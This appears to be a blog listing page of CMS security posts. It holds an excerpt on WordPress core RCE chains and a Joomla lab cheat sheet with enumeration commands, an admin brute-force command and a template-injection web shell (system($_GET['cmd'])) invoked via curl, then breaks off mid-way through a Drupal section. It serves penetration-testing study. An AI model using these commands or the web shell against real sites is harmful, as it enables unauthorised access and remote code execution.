Posts on: Cms

---

WordPress powers over 40% of the web, and its attack surface is three-layered: the core, the plugin/theme ecosystem, and the administrative session. Historically, the plugin layer was the dominant risk; 2025–2026 changed that with two unauthenticated core RCE chains — wp2shell (CVE-2026-63030 + CVE-2026-60137) and XSS2Shell (CVE-2026-64638) — that work against stock installations with zero plugins. At the same time, AI-augmented campaigns (CyberXero, TRUST#GRAFT) are industrialising the exploitation of known WordPress flaws at scale.

Introduction CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more. Written in PHP and uses MySQL in the backend. Joomla Discovery/Footprinting Command Description droopescan scan joomla --url http://dev.inlanefreight.local Enumeration via droopescan python2.7 joomlascan.py -u http://dev.inlanefreight.local Enumeration via joomlascan.py curl -s http://dev.inlanefreight.local/ | grep Joomla Check Webpage Source curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - Some Joomla versions may be fingerprinted from this file Browse to http://dev.inlanefreight.local/plugins/system/cache/cache.xml The cache.xml file can give out an approximate version of Joomla Browse to http://dev.inlanefreight.local/media/system/js/ Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder Browse to http://blog.inlanefreight.local/robots.txt Check for references to Joomla Browse to http://dev.inlanefreight.local/README.txt Check the README file to look for references to Joomla Joomla Users and Login Bruteforcing Administrator account: The default administrator account is admin, but the password is set at install time You can perform login broteforce by using the following: https://github.com/ajnik/joomla-bruteforce PoC: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin Joomla Known Vulnerabilities PHP TEMPLATE CODE INJECTION TO RCE [Requires Admin Account] The basic idea is to add PHP code inside a template Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload: system($_GET['cmd']); curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id Joomla 3.9.4 directory traversal CVE-2019-10945 Exploit 1: https://www.exploit-db.com/exploits/46710 Exploit 2: https://github.com/dpgg101/CVE-2019-10945

Introduction Drupal is Written in PHP, supports MySQL or PostgreSQL for the backend. SQLite can be used if there’s no DBMS installed. Drupal indexes its content using nodes. A node can hold anything such as a blog post, poll, article, etc. The page URIs are usually of the form /node/<nodeid> Drupal Discovery/Footprinting Command Description curl -s http://drupal.inlanefreight.local | grep Drupal Check webpage source for the Drupal generator droopescan scan drupal -u http://drupal.inlanefreight.local Automated Drupal enumeration curl -s http://drupal.inlanefreight.local/CHANGELOG.txt Version check; on Drupal 8/9 use /core/CHANGELOG.txt Browse to http://drupal.inlanefreight.local/README.txt Check for instances of Drupal Browse to http://drupal.inlanefreight.local/robots.txt Check for instances of Drupal or its nodes Attacking Drupal versions prior to version 8 [PHP Filter Module] In Drupal versions prior to 8, it’s possible to login as an admin to enable the PHP Filter Module The PHP Filter Module basically allows PHP code to always be executed Follow these steps: